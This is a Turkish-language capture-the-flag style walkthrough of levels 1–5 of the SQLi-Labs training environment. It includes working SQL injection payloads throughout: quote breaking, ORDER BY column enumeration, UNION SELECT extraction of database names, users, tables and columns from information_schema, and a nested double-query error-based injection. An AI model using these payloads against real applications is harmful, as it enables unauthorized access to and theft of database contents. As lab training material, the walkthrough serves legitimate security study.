Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | SQL-i Labs Walkthrough Basic 0-5

Sqli – Lab Nedir ?
resim1
Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır.
Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs
Yukarıda ki adresden indirmek için

git clone https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.)
Veya

wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.

Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password kısımlarını düzeltiniz.
Daha sonra tarayıcınızdan girip Setup/Reset database for labs linkine tıklayarak kurulumu tamamlayabilirsiniz.Eğer herhangi bir sorun ile karşılaşırsanız çekinmeden [email protected] adresine mail atabilirsiniz.

Not : Bu yazımızda ilk 10 levele değineceğiz.Sadece ilk level de son kısıma kadar gideceğim ve geri kalan levellerde sadece payloadı vereceğim.

SQLi-Labs Page 1 ( Basic )

Sqli Labs 1 :

Bu levelin isminden anlayabiliceğimiz gibi hata bazlı bir enjeksiyon gerçekleştireceğiz.
Ben bu levelde ?id=1 kısmından sonra tek tırnak ile hata vermeye zorladım ve bize hatayı verdi.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1

Bu kısımdan sonra

?id=1'order by 6

gibi kodlarını girdiğimizde herhangi bir işe yaramadığını bizzat deneyimledim.Hatta baya uğraştım diyebiliriz 🙂

?id=1'order+by+6# veya ?id=1'order+by+6--+

gibi payloadlar bir işimize yaramadı.
Not : 6 sayısı tamamen sallamasyon sayıdır itibar etmeyiniz.

resim2

Bende payload sonuna sıkça kullanılan –+ karakter setini girdim ve order by komutunu yavaş yavaş artırdım.

?id=1'order by 4 --+

resim3

Yukarıda ki resim de order by kullanarak 4.kolon da hata aldık.Order by ile ilgili trickimiz neydi ? Hangi sayıda hata veriyorsa mantıken -1 kolon sayısını çekecektir.

Artık 3 kolon çektiğini bildiğimize göre şu sıralamaya uyarak ilerleyebiliriz.

Toplam kolon sayısını bulma.
Vulnerable kolonları ekrana bastırma.
Vulnerable kolonlar sayesinde gerekli bilgileri çekmek.

Şimdi vulnerable(zaafiyet barındıran) kolonları ekrana yansıtalım.

bunun için aşağıda ki payload’ı kullanıyoruz.

?id=-1'union select 1,2,3 --+

resim4

Burada union operatörüyle yazıcağımız sql kodlarının hangi kısıma yazacağımızı görüyoruz.Yani aşağıda ki gibi bir kod yazdığımızı düşünürsek

?id=1'union select 1,bizimsqlkodumuz,bizimsqlkodumuz

Hadi şimdi işleri biraz heyecanlandıralım.Database ve user’ı çekelim.

?id=-1'union select 1,database(),user()

resim5

Gördüğünüz gibi database ismimiz security , kullanıcımız ise [email protected]

Burada -1 kullanmamızın nedeni 1 idsine sahip bir verimiz var ve sadece onu gösteriyor eğer -1 yapmazsak veriyi çeksekte ekrana bastırmıyor.

Şimdi de tablo isimlerimizi çekelim.

Bunun için payloadımız

-1'union select 1,group_concat(table_name),3 from information_schema.tables--+

resim6

Eğer burada group_concat yerine

-1'union select 1,table_name,3 from information_schema.tables--+

bu şekilde bir payload kullansaydık bize sadece tek bir tablo ismini verecekti.Örnek :

resim7

Şimdi de sütunlarımızı çekelim

?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns--+

resim8

Gördüğünüz gibi fazlaca tablo ve sütun bulunuyor.O zaman ne yapalım ? Şuan bulunduğumuz tabloda ki sütunları çekelim değil mi ?

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

resim9
Gördüğünüz gibi tablomuzda ki sütunlar bunlar.
Aynı şekilde tablo isimlerini de bu şekilde çekebilirsiniz.

?id=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()

resim10

Username , password kısımlarını id girerek gördüğümüz için gerikalan kısımlarını pas geçiyoruz.

 

Level 2:

Bu level ile ilgili :

Bir çok kaynakta

?id=1 ;

şeklinde bir payload yazılmış fakat

Bizim

?id=1 --+

kodumuz da işe yarayacaktır.Nasıl da sahiplendik hemen son bükücümüzü 🙂

resim11

-1 union select 1,2,3 --+

 

Level 3:

Bu level şu ana kadar gördüklerimizden biraz farklı bu levelde arkaplanda ki sql kodlarımızda

Aşağıdakine benzer bir kod çalışıyor.

select * from users where userid=(getrequest) \\ Tahminidir.

resim12
Burada yapmamız gereken şey “(” işaretini “)” işareti ile bypass edip kendi kodlarımızı çalıştırmak olmalı.Bende bunun için şöyle birşey denedim.

-1')union+select+1,2,3 --+

resim13
Şimdi bu kısımda açıklama gereği duyuyorum.

select * from users where userid=('getrequest')' limit 0,1 \\ Tahminidir.

Yukarıda ki kodu “)” karakteri ile aşağıda ki hale getirmiş olduk.

select * from users where userid=('')union select 1,2,3

Level 4 :

Bu levelde yapmamız gereken şey aslında bir önceki level ile aynı fakat burada Single Quotes ( ‘ ) yerine bu kısımda Double Quates ( ” ) kullanmamız.

Payloadımız :

?id=-1")union+select+1,2,3 --+

resim14

Level 5 :

İşte belki de en komplike levelimize geldik.Bu levelde adından anlaşılacağı gibi bu levelde 1 sorguda iki sorgu çalıştıracağız.Hemen aklınıza or veya and operatörleri gelmesin biraz daha komplike çünkü adeta bir inception gibi injection yapacağız.

resim15

1'+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

Üst kısımda gördüğünüz gibi and ile birlikte select komutu daha sonra from kısmında ise iç içe select komutlarını giriyoruz.Burada aslında security adlı database’i ( veritabanı ( bunu burada neden ayrı bir parantez ile belirttim bilmiyorum ama konuya çok uygun oldu ) ) çekip bunu 0,1 ile limitleyip daha sonra 2 ile çarpıp yuvarlama yapıyoruz.Aslında kod kalabalığından başka birşey değil fakat engellemeyi aşmak için böyle bir yönteme başvuruyoruz.Anlamadınız değil mi ? Bende anlamamıştım beyin baya bir overload olmuş(tu).